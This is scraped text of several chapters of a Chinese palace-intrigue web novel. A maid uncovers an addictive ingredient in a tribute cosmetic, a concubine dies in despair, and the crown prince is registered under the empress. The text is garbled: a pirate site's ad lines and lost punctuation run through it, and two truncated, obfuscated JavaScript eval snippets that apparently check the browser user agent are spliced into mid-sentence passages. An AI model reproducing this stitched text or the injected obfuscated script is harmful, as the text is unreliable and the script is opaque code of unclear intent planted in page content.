“你仔细想想,想到了就与我说。太子妃没有嗅到不对劲的地方,但是她相信竹清,故而这会儿她的脸色算不得好。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “青颜玉当作贡品送到宫中想必娘娘们都听闻了陛下若是赏赐给她们出了事只怕是朝野热议的。”太子妃想因着陛下的身体如今前朝也是暗流涌动若是后宫再出大事岂不是教大文朝动荡不安? “请太子妃给奴婢一些时间。”竹清要回去翻一翻从前记下来的香谱。 “好。”太子妃说。 * 椒房殿中恰有管事太监把青颜玉献到皇后这里皇后哪样好东西没见过?见了这据说有奇效的膏脂也不过是淡淡地暼了几眼她与田息嬷嬷取笑道:“人的容颜都会逝去何必强留。” “欸就是这样的理儿娘娘国色天香母仪天下自然不需要挽留容色。”田息嬷嬷说只不过她看着皇后没有打算动这个盒子便上前打算瞧瞧。 只是一打开她心头就微震不妥! “怎的了?田息嬷嬷可是这青颜玉有不对?”皇后甚少见田息嬷嬷露出这样的神情她脸色肃静不由得再次问道:“如何?” “是有不对只不过奴婢一时半会儿不能立马回答皇后娘娘 小说全网首发无弹窗免费阅读caixs?(请来才 小说 看最新章节 完整章节)且皇后娘娘稍等两天奴婢去书籍上面寻。”田息嬷嬷记得她从前嗅过这样的味道。 “嗯去罢。”皇后知道急切也没有用。 * “太子妃后院的秋侍妾不大好了身子骨很差温良媛请太子妃去院里瞧瞧秋侍妾。” 太子妃听了倒怔愣了一瞬间过后她极快地平复心绪在竹清的陪伴下出了正院。 东宫地方不大不小现在常常是三四个侍妾通房挤一个院良娣良媛住的就能宽敞一些。 “太子妃。”温良媛行完礼带着太子妃来到床榻边缘秋侍妾正躺在上面嘴唇泛白、双眼无神再没有了从前鲜活的气息。 她咳嗽了几声有气无力地喊了一声“妾身见过太子妃太子妃恕罪妾身不能起身伺候太子妃。” “繁秋你这是何必呢?”太子妃不是第一回知道繁秋病重了只是她以为繁秋是能想明白的。 “太子妃您好久好久没有这样唤我了。”繁秋有些恍惚一声熟悉的“繁秋”叫她心神不定像是回到了从前她陪着太子妃在闺阁的时候。 “像温冬一样好好的不成吗?别 去期盼过多的东西。太子妃叹气,她坐下来,握住了繁秋的手。 “可是妾身,妾身没有别的期望了。 遥想当年,她刚刚伺候了王爷没多久,王爷就开恩让她的弟弟去好的书院读书,她曾经以为,替家中争光了。 可慢慢的,父母不满足于这一点,弟弟读到二十岁依旧没有任何功名,正想着娶一房姐儿回家,那置办屋子以及彩礼钱都是她出的。 她真的好累,温冬与她不一样,她的家人时常关心她,爱护她,还每个月寄银钱来,生怕她不够用。 “太子妃。繁秋喊她,却不知道自己为甚麽要喊,只是在低声诉说着这些年的苦楚,“妾身感激太子妃。当年是太子妃允许,妾身才能进院子伺候您,教我不必日日在家里挨骂。妾身也谢太子妃让妾身成了太子的侍妾,不然,只怕我早已被嫁去换银钱了。 竹清默默听着,她似乎有点懂为甚麽繁秋当年是四个大丫鬟中最温柔的了,大抵是从小过得苦,总是下意识地摆出一副温柔安静地模样,看人脸色多年,也许,她自己也忘了生性如何了。 “太子妃,妾身好累好累,从来都没有这麽累过,昨个妾身看着开得正艳丽的花儿,忽的就觉得这一生,很不值得。繁秋眼里流下两行清泪,她四五岁就要为家人洗衣裳,寒冬腊月手还泡在水里,后来进了院里当扫洒丫鬟,慢慢的,她长开了,夫人就教她做了二等丫鬟。 十一岁,夫人告诉她,日后娘子出嫁,她就当陪嫁,往后娘子有需要了,就开了脸作小娘,为娘子分忧。 细细想来,她这一生,就是注定好的。 “太子妃,妾身不能再陪伴您左右了,您要保重身子。繁秋望着纱帐,忽然伸出手抓住了上边吊着的玉坠子,她用力一拽,玉坠子掉下来,纱帐缓缓落下,遮住了她的半边身子。 恍惚间,太子妃觉得繁秋的容颜与十年前没甚麽两样,那个时候,她还伺候着她,脸上天天挂着笑。她与哪个小丫鬟都是和和气气的,比起暖春绘夏两个,似乎像个泥人一样没有脾气。 温冬垂眸,她不止一次听繁秋说她喜欢王爷,曾经的 不理解在这一刻顿悟了从小有那样的家庭只要有一个人稍稍对她好些她都会满心交付罢。 不怪她。 “妾身、妾身……”似乎状态愈发差了繁秋神志不清地喊着“妾身很感激太子妃是您让妾身不用再挨打挨骂还有温冬一直开导我竹清竹清帮我吓走了打秋风的弟弟……” 她说了很多人的名字有与她感情深厚的也有与她不过共事几个月的最后的最后她低声说到了太子“宁作穷家妇莫作高门妾。” 若有下辈子她宁愿出生穷家农家高高兴兴地当个农家子挑个如意郎君这也就够了。 这高门大户谁爱进谁进反正她是不愿意的。进了后院生死不由自己甚至连生个儿子女儿都不能叫自己母亲。 在场的三个女子皆有不同程度的触动竹清站得比较远她看不大清繁秋只是觉得在她看不见的地方繁秋仿佛独自一个人挣扎过最后走入了死结里。 繁秋昏过去了太子妃教人请的太医匆匆赶来替她把了脉太医叹气“启禀太子妃这位侍妾心脉受损肝气郁结已经无力回天了至多只有一个月的时间。” 人没有了那口气就不成的了。 太子妃听了脸色变了变最终纷杂的情绪皆化为一句“好好替她治。” “是。”太医恭敬地说。 外头院里开了许多的花儿黄的、紫的、青的……正是一派好光景。 “繁秋。”太子妃默念这个名字秋天啊万物开始凋零的季节何来“繁”字呢? 一切都像是命中注定那般。 “竹清这些天繁秋的待遇就按照良娣的位份来让她安心养病。”太子妃吩咐。 正说完就有一个小宫女前来报喜“太子妃大喜。陛下颁发了一道圣旨晋封淑妃娘娘为淑贵妃娘娘如今淑贵妃已经到椒房殿谢恩了。” 可不是大喜麽淑贵妃是太子的生母与太子妃有着密不可分的关系淑贵妃有脸面太子妃也是沾光的。 “果真?”太子妃追问得了肯定的回答她露出笑容“不错不错 “欸。”竹清应了正院里又开始忙起来 。 椒房殿中皇后正受着淑贵妃的大礼淑贵妃三跪九叩行的礼毫无错处皇后这才说道:“平身赐座。” “臣妾谢皇后娘娘。”淑贵妃如今是春风得意满面都是得意这惊喜一下子就砸中了她她等了盼了那麽多年的贵妃之位终于是她的了。 她比德妃地位还要高看她以后怎麽与自个斗嘴! “你也是宫里头的老人了晋封贵妃日后定要戒骄戒躁好好为后宫的姊妹们作出表率才是。”皇后娘娘说。 淑贵妃正是风光无限的时候听了皇后的话满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只是交州知州贡上来的时候,底下人出了一点点的小差错,儿臣觉得那青颜玉染了别的味道。”太子妃解释。 “这般……”只是淑贵妃想到老去的容颜,心里那点小疙瘩就消失了,又甚麽比得上美貌呢? 如今她儿子是太子,她是贵妃娘娘,日后自有大把大把的风光日子等着她,她可不能老去。 于是她把太子妃的提醒抛在脑后,说道:“贡品再如何也不会差的,你的担忧本宫知道了,不碍事,你先回去罢,本宫去寻陛下。” 太子妃想说甚,又知道她的说辞不能说服淑贵妃,毕竟竹清的担忧,她相信,可是旁人未必相信。 若是她把自个的怀疑说出来,只怕淑贵妃还觉得她脑子坏掉了呢! “那儿臣恭送母妃。”太子妃把淑贵妃送出长春宫,随后自个也回了东宫。 “竹清,你寻到了没有?让你察觉不对劲的味道是甚麽发出来的?”太子妃教人把竹清喊来,她有些着急,生怕淑贵妃用了那青颜玉然后出事。 是罂粟。竹清在心里回答她的话,只不过在这个时候,还不叫罂粟,叫香儿果。 “启禀太子妃,奴婢去宜州的时候曾闻到过这样的味道,叫香儿果,有些医者会用它止痛止痒,只是过后,患者就会求着要香儿果。”竹清暗示,他们应当还不知道香儿果能使人上瘾,不然交州知州也不敢用这样的东西入膏脂,然后呈给陛下。 “使人有瘾?这可是大忌!”太子妃神色顿变,这样的东西进了宫,祸害主子们,定是不行的! “这可如何是好?淑贵妃说要用那青颜玉,我方才想劝她都劝不动。”太子妃疲惫地说,“我又不好直接把这事禀告给皇后,愁啊。” “太子妃稍等两天,奴婢去书籍上面寻。若寻到了关于香儿果的记载,就快快拿来与太子妃说,这样太子妃也有理由禀告皇后娘娘了。”竹清说。 无奈,太子妃只能点头答应。 * 皇后正巧在勤政殿中,她与陛下说着后宫的一些事情,就有宫人禀报淑贵妃娘娘来了。 “淑贵妃?”陛下低低地说,“她来做甚麽?朕不是让她不用来麽?” “只怕是来谢恩的,陛下不若叫她进来,也好全了礼数。”皇后说,淑贵妃的性子她清楚,若是现在不如她的意,之后少不得来椒房殿缠着她。 “那便叫她进来。”陛下说。 “臣妾给陛下请安,给皇后请安。”淑贵妃没想到皇后也在这儿,不过这也不碍事,待与陛下讲了一番话之后,她才讲出了此行的目的。 “臣妾听闻安宁宫放置了一种叫青颜玉的贡品,很适合臣妾,陛下,您就把那青颜玉赏赐给臣妾罢。” 陛下没有料到淑贵妃仅是要区区一个贡品,挥挥手,正想应她,就听见皇后在耳边说道:“哦?臣妾倒是觉得不急,送入宫中的贡品不少,且还有一些州府因着路途遥远、保存不便等缘故,贡品尚在路上,不若待所有贡品登记齐全了,陛下再看着单子赏赐淑贵妃,也不用次次麻烦了。” 淑贵妃一顿,若是能多些赏赐也是好的,到底体面,这青颜玉又不会跑了,再等等也无妨。 “皇后做主即可。”陛下不在乎这些小事。 外头有太监唱喝,“太子到,皇太孙到。” 见陛下要处理政事,皇后就与淑贵妃先行告退了。 “淑贵妃怎的知道了青颜玉?”皇后状似无意地问道,淑贵妃答道:“臣妾偶然听闻,后头太子妃还来与臣妾说,说是那青颜玉脏了,教臣妾不必挂心那青颜玉。” 太子妃?皇后挑眉,这话更像是太子妃自个知道了甚麽。 她想到太子妃正好负责安宁宫的贡品登记,或许那个时候她觉察出不对劲也说不准。 皇后听田息嬷嬷说过,太子妃身边那个叫竹清的掌事宫女颇精通调香,难不成膏脂她也略懂一二? 莫非…… 作者有话要说 第 66 章 将太子记在皇后名下 第66章将太子记在皇后名下 椒房殿,皇后在宫女的伺候下换了一身常服,她问贴身宫女,“田息嬷嬷呢?” “回娘娘的话,田息嬷嬷去了藏书阁,她说要去藏书阁瞧瞧有没有线索。”贴身宫女说罢,又安慰起皇后,“娘娘不必担忧,田息嬷嬷的本事大着呢,自然能找出那股味道来自哪种材料,您莫急。” “本宫如何不急。”皇后想到淑贵妃那股痴缠劲儿就头疼,她说,“你说说这淑贵妃,那麽多贡品不要,偏偏看上了那青颜玉,教人心烦。” 贴身宫女说道:“淑贵妃不似娘娘要管着后宫,她无甚事情可以做,便只能注意着自个的容貌,这也是人之常情。” 皇后本就是发一两句牢骚,也不是想怪淑贵妃,她嘱咐贴身宫女,“你去帮本宫查件事,太子妃身边是不是有精通制作膏脂的人?特别是那个竹清,你着重查查,如若有,只管来禀报本宫。” 太子妃哪儿会闻得出来青颜玉不对劲?哪怕世家贵女眼力见再好,也不可能细致到这个程度,更有可能的是身边的人有本事。 只是皇后一想到那个竹清会那麽多样,心里就阵阵惊奇。 “欸,那奴婢这就去做。”贴身宫女放下手上的活计,慢慢地退出去了。 * 竹清又出宫了,她从书籍上找不到关于香儿果的记载,便出宫寻求熟人的帮忙。 “周大夫,可吃过了?”竹清进了医馆,熟门熟路地坐下,也不待周大夫招呼她,便自个斟茶倒水了。 “你到我这儿倒浑然似主人了,来来来,这大夫你做罢,我不做了,我家去养老。”周大夫撩开门帘出来,见是竹清,便调笑着说,不过他与竹清只是说玩笑话,也不是真的怪她。 “成,你替我入宫,我在这儿做郎中,咱们交替着来。”竹清笑了笑,周大夫就是她十年前认识的老大夫,之前帮她制作了银针,一来二去的,她们渐渐熟络起来,到现在,也能随意地取笑。 比起十年前,现在的周大夫愈发白发苍苍,连长长的胡须与两截儿眉毛都是花白的,瞧着仙风道骨。 周大夫端起竹清倒的茶,听着竹清问他,“你不是说预备着不干了?怎的还没有关铺?” “诶呦喂哪儿有恁容易我原是想着就这个月家去义阳县的谁知我的小儿子摔到了腰 “罢了罢了这些混事不说也罢你今儿来寻我有甚麽事?只管说与我听听我能帮上的定会帮你。”周大夫说他还挺喜欢竹清来找他做事的每一回竹清都会给上一大笔银子足够他滋润很久了。 比开医馆还要挣钱! “我的确有事找你帮忙。”竹清说“周大夫可知道香儿果?” 周大夫的脸色有一瞬间变得极其微妙竹清看他样子就知道这回找对人了她问道:“如何?周大夫了解过香儿果麽?我知道这种果子却不知它的具体效果。” “你最好莫沾染香儿果。”周大夫脸色来来回回变化最后叹息着与竹清说道:“香儿果只有个名头好听实际上了解内里的人都避之不及。” “也不是起码有一些人可是对香儿果喜欢得紧谁动了他便要杀人全家。”周大夫讥讽瞧他的模样倒知道许多事情。 “你与我说说我有用的。”竹清掏出一锭银元宝周大夫嘴上说着“这怎麽好意思”手却极快地把银元宝拿过放入袖子中。 “既如此我与你仔细说说。我们这些做大夫的个个都想着以医术名扬天下有些人自个本事不足便想着以旁门左道来取胜。” “我听说的就有这麽一桩事一个被师傅赶出门的医者醉心研究各种药材他不知从哪儿弄到了香儿果随后把它用在人的身上。一开始病重的人精神的确好起来了容光焕发、能跑能跳只是不出一个月明明停药了那个患者却还说要喝药。”周大夫想了想继续说道:“你能想象到一个大男子涕泗横流地求着人家把药给他的那种画面麽?” 竹清大约能猜到迷上了罂粟的下场会是如何。 “你接着说然后呢?”她问。 “然后他面容凹陷消瘦没有几个月就死了。后头别的大夫才发现他在药里加了香儿果其他人知道了这香儿果的独特之处便开始研究。” 周大夫说,他隐晦地暗示道:“你知道的,大夫嘛,有时做事顾不得那麽多,甚麽手段都用。 竹清了然,说起来,大夫就跟炼丹的丹士差不多,疯起来不管不顾。 “这样的事情,没有传出来麽?竹清纳闷,真的出了这样的事,官员不知道? “你当这些大夫傻?有了先例,他们自然暗地里偷偷摸摸做,况且他们专门找山窝窝里的村民百姓免费诊治,哪怕不小心医死了,百姓们也只以为是患者的问题,哪个敢去找大夫的晦气?周大夫也是因着有几个大夫好友,所以才能得知这样的消息,“他们都教我不要碰香儿果,香儿果味道奇特,一不小心,人就中招了。 “这样啊。竹清点头,“那咱们盛京城附近就没有人用香儿果了? “呃。周大夫神色犹豫,最终伸出食指与大拇指搓了起来,这个动作的意思是……要加钱。 竹清知道他的性格,拿出早就准备好的另一个银元宝,她说,“若是你的回答让我满意,我还有。 “这多不好意思啊,我不是那种见钱眼开的大夫。周大夫麻溜地说,“只不过我不想看见旁人一直执迷不悟罢了。 待如此这般说服自个后,周大夫才说道:“盛京城附近自然是有的,就在东边的文术县,有好友与我说过,那里有些利欲熏心的人,为了教旁人觉得他们医术好,便可劲儿地用那香儿果,医治死了也不打紧,他们给大把大把的银钱封口,长此以往,还了得? “那儿的县令,只顾着政绩,怎麽会管这些肮脏事情?周大夫说,他在盛京城见过的事情多了去了,可是那文术县的脏事还是教他觉得骇然。 “这样啊……竹清食指敲击着桌面,面上若有所思,只要调查出文术县的事,太子妃就能呈到皇后跟前,教皇后娘娘知道,香儿果的坏处,连带着青颜玉,也一齐捅出来。 “你要是查,可千万得小心。周大夫说,他是知道竹清伺候谁的,但是架不住官员背地里行事皆是心狠手辣的,他怕竹清出事,他的散财童子哟,可不能没有了! “你放心,我知道的。竹清不会冒险,既然知道了香儿果的的确确有害人的地方,她此行的目的就达到了,剩下的,交给太子妃去处理。 “你要走了 ?我送送你。”周大夫热络地把竹清送出医馆,待竹清消失不见,他迅速地拿出那两个银元宝,挨个咬了咬。 “哎呦老夫的牙。”周大夫捂着半边脸,整个人活似小儿。 * 竹清在外头逛了好一会儿,见市井打探不到大消息,便回了东宫。 “如何?可有线索?”太子妃问她。 竹清一一说了,末了还附带自个的想法,“若太子妃能查清楚此事,告知陛下与皇后,也算是大功一件。” “我自然明白。”太子妃神色舒缓,有了线索就好办,她也不急了,只是,她想到了甚麽,叹了叹气,与竹清低声说道:“此事表面上不能由我去做,背地里得一些好处可以,张扬就不行了。” “他毕竟是太子了。” 竹清明白太子妃话里的意思,从前太子还是雍王,他们夫妻一体,王妃立功了,王爷也跟着得脸。可如今雍王当太子了,他已经不需要一个出众能给他挣脸面的妻子,他需要的,仅仅是一个能管好后院的太子妃罢了。 太子妃看得清楚,甭说太子,恐怕就连陛下,也不喜她与这些事有牵连。 “竹清,你的功劳我永远记得,只不过现下不宜张扬,你可愿意?”太子妃问,她知道委屈竹清了,分明青颜玉是她察觉到不对,随后又着手调查的,可到头来,她成了籍籍无名的人。 这事与她无关了。 “太子妃这是哪儿的话,难不成在您心里,奴婢就是个不知轻重的?”竹清忽的笑了笑,说道:“奴婢不是那种只顾着眼前利益的人,若太子妃觉得委屈了奴婢,不若待奴婢25岁时,您赏奴婢一桌子好饭好菜,让奴婢宴请熟人来作客,好好贺一贺奴婢自梳的大日子。” 她这一回原也没打算出名,在陛下、太子跟前出名有甚麽用?毕竟她只是一个宫女,赏赐多了也只会教人眼热,少不得惹一些非议。 倒不如低调着点,反正她了解太子妃,这样的大功劳,太子妃会记在心里,日后有甚麽好处,都会有她一份,这也就够了。 “竹清,难为你想的周全。”太子妃最喜欢竹清这股聪明劲儿,与她说话也不必说全乎,她自然就懂了。 “我愈发觉得,十年前买下你是一件很有益处的事,你这样的性子,去了旁人 的家里,实在是浪费了。”太子妃想,若是竹清辗转被别家买去了,最好的前程也就是当个管事,主家若是能发现她的能干,教她陪着家里得宠的姐儿出嫁,做个陪房,也就差不离了。 岂不是埋没了她? “奴婢也觉得能伺候太子妃,实在是奴婢的福气。”竹清说,太子妃性子好,做事儿有功劳就能得赏,比起旁的主母,她真的是不可多得的正头娘子了。 “待你自梳那日,我与你一份大礼。”太子妃温柔地说。 “那奴婢等着。”竹清点头。 这般说过一通,太子妃就静下心来想着法子,竹清悄悄退下去,吩咐了贴身宫女上点填肚子的甜汤。 “竹清姐姐,后院的温良媛说想请个太医来瞧瞧。”有正院的小宫女轻声说,“温良媛院里的人在外头候着,姐姐说允不允呢?” 原本王府里的府医药童甚的都不能带进宫,所以后院的女子们若是有个头晕脑胀的,就得请示过太子妃,这才能让宫女去太医院请个太医来看看。 “去罢,让她去请,我去回禀太子妃。”竹清说,温良媛向来不是那种无理取闹的人,她先让宫女请了太医再回禀太子妃,太子妃也不会说甚麽。 “我已经想好如何做了。”太子妃说,她招手,竹清走过去蹲下,与她叽叽咕咕耳语。 “那奴婢祝太子妃顺利。”竹清点头,这个法子无甚错漏。 “启禀太子妃,后院的温良媛有了两个月的身孕。”小宫女禀报。 “那可真是太好了。”太子妃说,后院又有人有孕,是家中的喜事。她看向竹清,吩咐道:“与我梳妆打扮,我去瞧瞧她。” 太医刚走,温良媛这儿就挤满了人,太子妃到的时候,两位侧妃的贺礼都已经送来了。 “太子妃。”温良媛摸着自己的肚子,喜不自胜,这么多年了,她原是想着自个不可能有孩子,没想到惊喜一下子就来了。 “快坐,不必行礼。”太子妃抬手,竹清就会意,她上前扶起温良媛,说道:“奴婢扶您坐下。” 她在心里感慨,有了孩子好啊,待日后太子登基,温良媛凭借孩子,至少也能做个一宫之主,往后的日子自是不必说,定是顺心的。 “太医怎麽说的?胎像可还稳固?”太子 妃连声问,温冬是她的陪嫁,与她的感情更好。 温良媛轻声细语地回了话,太子妃与几位生养过的又嘱咐了一些注意的事项,一时间,院里欢声笑语不断,传出去老远。 同个院子里住着的秋侍妾正好醒过来喝药,她怔怔地听着这些不属于她的热闹,冷不丁的,她问伺候的人,“这是、这是怎的了?这样,热、热闹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊良媛竹清姐姐说的在理咱们还是回罢。” 秋侍妾的死没有引起任何波澜竹清在灵堂布置好后给她上了头一炷香纸钱在铜盆里烧得火旺竹清看着火光的影子低声说道:“日后去个好地方过上富足的日子摆脱掉这些束缚。” 在她之后温良媛也来上香了她明显很是难过帕子时不时地抹泪面容哀伤“你这又是何苦。你再多等等再等等就好了啊。” 说句不太好的待太子登基哪怕秋侍妾还是年纪轻轻就去了但是到底是有位份的后妃到时候举办丧礼也不是草草了事入了妃陵还有守陵宫女替她日日上香岂是现在可比的? “你糊涂啊!”温良媛摇头日子是自己过的何必伤春悲秋落得个这样的下场? 除了她们两个再有的就是从前与她顽得好的侍妾通房派了宫女来烧纸多多少少也是一份心意。 停灵三天棺椁被送出去。 “可怜秋侍妾没有个孩子往后谁还能记得她?”有个侍妾看见了送灵的队伍由秋侍妾想到了自个“只怕她的今日就是我的来日。” 没有家世、位份不高、没有一儿半女 * 太后突然晕倒了太子妃赶到寿仁宫与里头的皇后娘娘以及几位高位妃嫔见了礼。 “儿臣见过母后母后金安。” “起来罢。”皇后说她教太子妃站到了她身边随时等着太后的吩咐。 “启禀皇后娘娘太后想要见皇后娘娘以及太子妃。”太后特别最得意的罗嬷嬷出来说。 她侧着身子等皇后与太子妃进去后才坠在最后头与竹清对视了一眼但很快的两个人仿佛不认识般离得远了一些。 “咳咳皇后。”太后倚靠在一个盘发的姑姑身上她应当是无甚力气的连喊这两个字都暗中提了气。 “儿臣在。”皇后坐在了宫人搬来的椅子上她看向太后温声细语地问道:“母后有甚麽想要的只管与儿臣 说,儿臣定会为母后周全。 “皇后。太后看着眼前这位风姿不逊当年的女子,恍惚间,似是看见了她背弓提剑逼宫的那一日,那时她真的潇洒,仿佛并不属于皇宫,而是属于天空。 这麽多年来,皇后一直安守本分,有时出声劝阻皇帝,也是不关乎家国方面的小事她才插手,很乖巧懂事。但是太后知道,她的野心绝还没有消失。 上官氏这些年官员多,连带着皇后的地位也稳固如山。 “往后你好好教太子妃,让她能掌着后宫大权,可好?太后颤着声音问,她话里的意思就是教皇后日后做了太后,不要掺和后宫的事。 皇后把手覆上太后的手,说道:“儿臣听母后的,必会教会太子妃所有,让她有掌权的本事。她从未想过要与将来的太子妃争夺甚麽,前朝才更有趣,不是麽? “太子妃。 “谢太后赏赐。太子妃内心惊讶了一瞬。 “对了,淑贵妃你看着点,别让她生事。虽然在寿仁宫中看似两耳不闻窗外事,但是太后还是知道淑贵妃做的一桩桩事。将来太子登基,淑贵妃身为生母,也是太后。 一个皇宫两个太后,势必又会引发纠纷。 太后可不想她们明争暗斗。敲打完皇后,又抬举了太子妃,太后这才满脸倦容,让来探望的妃嫔们都退下了。 淑贵妃等人没有见到太后也不在意,说到底太后与陛下不是亲母子,她们只需要全乎了脸上的面子情就好。 不独太后说到了淑贵妃,勤政殿中的皇帝也恰好讲到了淑贵妃,他问太子,“淑贵妃为人母却不尽责,不如皇后,太子,朕打算将你记在皇后名下,为正统嫡出,可好? 作者有话要说 第 67 章 竹清认干娘 第67章竹清认干娘 皇帝此举有两个考虑,一个是淑贵妃的确过于愚蠢,不可作太后。第二个,皇后背后有上官氏,若太子登基,有上官氏的支持,就能更快的稳固朝堂。 但是凡事有利有弊,上官氏会不会凭借这层关系生事,导致外戚干政? “父皇,儿臣……”太子喉头干涩,他与皇后并无多深厚的母子情分。淑贵妃待他好,现下听皇帝说他的生母淑贵妃不好,他心头一阵难言。 那可是生养了他的人,多年来待他如珠如玉,哪怕对外再跋扈嚣张,可是对着他,都是温柔如水,甚麽都为他考虑的。 可他也知道如果他记在皇后名下有诸多益处,身份更尊贵不说,对于他将来掌握朝堂有多多的好处。 “这些天朕教导你的都忘了?官员们心思各异,他们表面上尊敬你,可若是你没有让人追随的本事,那他们就会暗地里做些动作,你的命令他们阳奉阴违,长久下去不利于大文的稳定。”皇帝身子瘦,脸颊两边凹陷,只剩下颧骨凸出来,高高的。 饶是如此,他依旧强撑着精神教授太子,他说,“上官氏有忠心,这也是朕提拔重用他们的缘由,但是朕不确定他们将来会不会还是忠心的,人心易变,尤其是接触到了更高的权力。” 皇帝心里担忧,太子真的能让下边的人乖乖听话麽?如今的一品二品大臣哪个不是老狐狸,太子还有些稚嫩,只怕是不够他们看的。 “罢了,这些都是日后的事,你且按照朕教你的那样边用他们边打压他们就可,打压呢做得不可过于显眼,也不可因着他们卖可怜就放过他们。”皇帝说,他看着太子点头就兀自笑了笑,心狠就好。 “将你记名的事,你觉得如何?”皇帝问,太子内心苦涩,由不得他选,他当即跪下,说道:“谨遵父皇的旨意。” 皇帝看了低头垂眸的大太监一眼,大太监会意,去拿早已准备好的圣旨,“陛下,旨意在此。” “嗯,去晓谕六宫罢。”皇帝说,他想到淑贵妃,给她贵妃之位就等同于变相的补偿,毕竟她没了一个有前途的皇子。 大太监领着圣旨先去了椒房殿,听闻了旨意,皇后讶然,还是田息嬷嬷唤了她一声她才回过神来,她 起身,教人打赏了来宣旨的一行太监。 “多谢皇后娘娘赏赐,奴才还要去别的宫宣旨,便先退下了。大太监和气地说道,见皇后点头,他就慢慢地出去了。 “竟是如此。 也不知她受不受得住? “娘娘,您说陛下如何想的?田息嬷嬷不解,太子已经是储君了,何必再多此一举,记在娘娘名下? “淑贵妃母家不显,且昨个有消息传来,说淑贵妃母家的弟弟在京中纵马伤人,被护城司抓走的时候还大放厥词说自己是贵妃之弟,这还不止,他竟然还威胁护城司,说让自己的太子外甥收拾他们。你瞧瞧他们上不上得台面?皇后想到淑贵妃的母家就觉得好笑,一个贵妃一个太子,就让他们尾巴都翘上天了。 若来日太子登基,他们岂不是觉得整个天下都是他们的? “这也太……田息嬷嬷叹气,不怪乎陛下要下这样的旨意,他们上官氏才不会出这样的丑事,堕落了皇室的名声。 “但是太子都那麽大了,这会儿才记在娘娘名下,也不过是走个过场,他待娘娘,没有真心的。田息嬷嬷说,人家生母还好端端的在这儿,怎麽可能亲近皇后? “这又如何?我日后会是太后,谁敢不敬本宫?面子情这种东西,他敷衍了事,那本宫自然也是一样的。皇后说。 长春宫,淑贵妃本在挑选这个月新进的料子,听说有圣旨,她喜不自胜,身边的贴身宫女还恭维她,“娘娘,说不得是陛下赏赐您呢!莫不是晋封为皇贵妃? “别胡说。淑贵妃训斥,但是内心还是被贴身宫女的话勾的起了心思。 哪知一听圣旨的内容,淑贵妃双目一瞪,连连喊着“不会的“我的儿,不消几时,她就昏过去了。 长春宫中顿时人仰马翻,叫太医的赶忙奔走,唤水洗脸的被门槛拌了一下,还有在门口打扫的宫女呆愣愣的,她刚刚才使银子调入长春宫,怎的主位娘娘的风光就不在了? 东宫,竹清送走了宣旨的大太监。太子妃心里五味杂陈,她虽然不喜淑贵妃,可仍旧可怜她没有了一个孩子。 她想了一下,若是琮哥儿以后叫旁人母亲,只怕她的一颗心像刀 割一样疼痛。 竹清倒没有想着淑贵妃,反而在庆幸自己前一段时间没有张扬,若是青颜玉的事是她发现的,只怕碍了某些人的眼,会成为某些失意的人的出气筒。 “太子妃,皇后娘娘唤您去椒房殿。有小太监禀报。 “只怕是寻我去说话的。太子妃说,经此一事,她与皇后就成了真正的一家子。 * “叫你过来也是想提醒你,日后少去长春宫,免得落人口实。皇后很满意太子妃,不想她因着良善恻隐之心坏了事。 “儿臣谨记母后的教诲。太子妃自然是应的,如今她与皇后就成了一条船上的人,再不能变得。 “对了,本宫听到了一个消息,陛下打算让你的父亲以及祖父回京,你的父亲要升官了。皇后缓缓说道,陛下就是这样的一个性子——爱欲齐生,恨欲其死。他要为太子增加筹码,所以提拔了太子妃的母家。 不过,皇后摸着手腕上的玉镯子,陛下此举到底是为了太子,还是为了还小但是初露锋芒的皇太孙? 姜家可是皇太孙的外家,比起太子,他们与皇太孙的关系更为密切。 显然,太子妃也想到了这一层。 “儿臣谢母后提点。太子妃行礼。 “除了此事,本宫找你还有一事。 竹清与太子妃心头俱都一跳,不必皇后讲得清清楚楚,她们就知道,皇后已经知道了那件事。 “娘娘喝茶。田息嬷嬷捧了一盏茶来,皇后漫不经心地端起茶盏,有一下没一下地拨弄着茶盖。 “是,有一事儿臣还要向母后禀告。太子妃说了青颜玉的事,随后解释道:“并非儿臣有意隐瞒,只是竹清的本事旁人不知道,儿臣又担心她是看错了,这才没有声张,暗地派人去调查。 “结果如何?皇后倒不会怪太子妃,她只在乎结果。 太子妃说了,教皇后好一阵儿高兴,“你这一回可是立功了,不过面上却不能得到打赏了。 紧接着,皇后又夸赞了竹清,“你是个性子好的,走上来,让本宫好好 瞧瞧。 竹清到皇后跟前蹲下,皇后摸了摸她的脸,说道:“是个嫩葱葱的小娘子,田息嬷嬷,她比之你以前也不差。 “欸,竹清姑娘可谓是心里有成算的,我从前是得娘娘体恤才能在娘娘身边伺候,跟竹清姑娘可比不了。田息嬷嬷谦虚。 “本宫教人准备了赏赐,赏你做事谨慎勤恳。皇后抬手,有宫女捧出几个雕花砌玉的木盒子,一打开,里头的各色宝石、珠玉散发着阵阵光芒。 端得是华贵无比。 “奴婢多谢皇后娘娘赏赐。竹清恭恭敬敬地受了,又教皇后赞她,“本宫就喜欢你这样大大方方不扭捏的,要不是本朝没有了女官,本宫少不得教你做个一品的女官。 女官,在大文开国之际,后宫中设立了女官职位,女子们通过甄选入宫,从八品女官做起,那个时候能当女官的,识字、才艺、眼力见等等都是俱佳的,后面为了集权,废除了女官制,改设殿中省,殿中省听命于皇帝。 “母后夸她,待她回宫了,可不得使劲儿显摆?太子妃出声。 “罢了,是本宫多嘴了。皇后说,待竹清退下,她又对太子妃说道:“为太后侍疾的事就由你负责,这些天你多些去寿仁宫,教太后心里舒畅一些。 如此说了一通,竹清就跟着太子妃回了东宫,她们路过御花园的时候,恰好见几个老成的姑姑带着一些脸生白净的小宫女走过,太子妃问道:“可是新进宫的宫女? “是,一个月前放出去了一批25岁的宫女。竹清回答。 “日子过得可真快。太子妃感慨。 * 